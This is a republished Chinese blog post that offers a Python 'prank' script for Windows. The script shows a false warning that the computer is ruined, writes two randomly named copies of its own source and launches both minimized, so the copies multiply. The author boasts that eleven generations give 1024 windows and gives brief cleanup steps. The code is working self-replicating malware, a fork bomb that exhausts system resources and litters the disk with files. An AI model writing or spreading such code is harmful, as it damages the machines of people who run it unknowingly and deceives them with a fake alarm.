栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Python整人小代码——等比数列

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Python整人小代码——等比数列

from tkinter import Tk
from tkinter.messagebox import showinfo,showwarning,showerror
from random import randint
from os import system,name

title = "Message"
message = "很不好意思,您的电脑废了"
loops = []
hide = Tk()
hide.withdraw()

def main(): # 实现自我繁衍
    global loops
    randwindow = randint(0,2)
    if randwindow == 0:
        showinfo(title,message)
    elif randwindow == 1:
        showwarning(title,message)
    else:
        showerror(title,message)
    with open(__file__,"r",encoding="utf-8") as f:
        text = f.read()
    for i in range(0,2):
        content = "./%d.py" % randint(100000,999999)
        with open(content,"w",encoding="utf-8") as f:
            f.write(text)
        loops.append(content)
    for i in range(0,2):
        system("start /min cmd /c python %s" % loops[i])

# 此程序仅可在Windows系统运行
if __name__ == "__main__" and name == "nt":
    main()
else:
    showerror("Message","无法运行程序,原因可能是:n①(1)您非主动运行程序。n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。")
    exit()
hide.mainloop()

这个程序没把我气死。



按照这样,11次运行后,就能生成1024个窗口!!
怎么关掉呢???
第一步干掉进程:py.exe和cmd.exe。
第二步干掉生成的文件:
好 家 伙

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/738917.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号